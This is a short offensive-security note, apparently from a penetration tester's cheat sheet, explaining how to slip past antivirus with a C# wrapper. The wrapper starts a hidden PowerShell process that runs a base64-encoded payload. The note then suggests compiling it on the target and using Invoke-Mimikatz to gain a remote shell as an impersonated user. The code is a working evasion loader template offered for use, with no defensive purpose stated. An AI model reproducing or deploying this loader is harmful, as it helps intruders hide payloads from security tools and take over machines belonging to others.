C# can be used to bypass AV (at least as of September 2022) - just create a C# wrapper that fires up a PowerShell one-liner. (Sometimes this will need to be modified slightly to bypass AV, but generally you don’t have to tweak this code much - C# analysis doesn’t seem to be particularly robust for most AV products.)

using System;
namespace Game
{
	public class Program
	{
		public static void Main() {
			System.Diagnostics.Process P = new System.Diagnostics.Process();
			System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
			SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
			SI.FileName = "powershell.exe";
			SI.Arguments = "-enc $BASE64_ENCODED_SCRIPT_TO_RUN";
			P.StartInfo = SI;
			P.Start();
		}
	}
}

This can be compiled using PowerShell - perhaps even on the target itself. What’s the advantage to doing this? You can use Invoke-Mimikatz to run this binary remotely to quickly obtain a remote shell with the permissions of the user you’re impersonating.
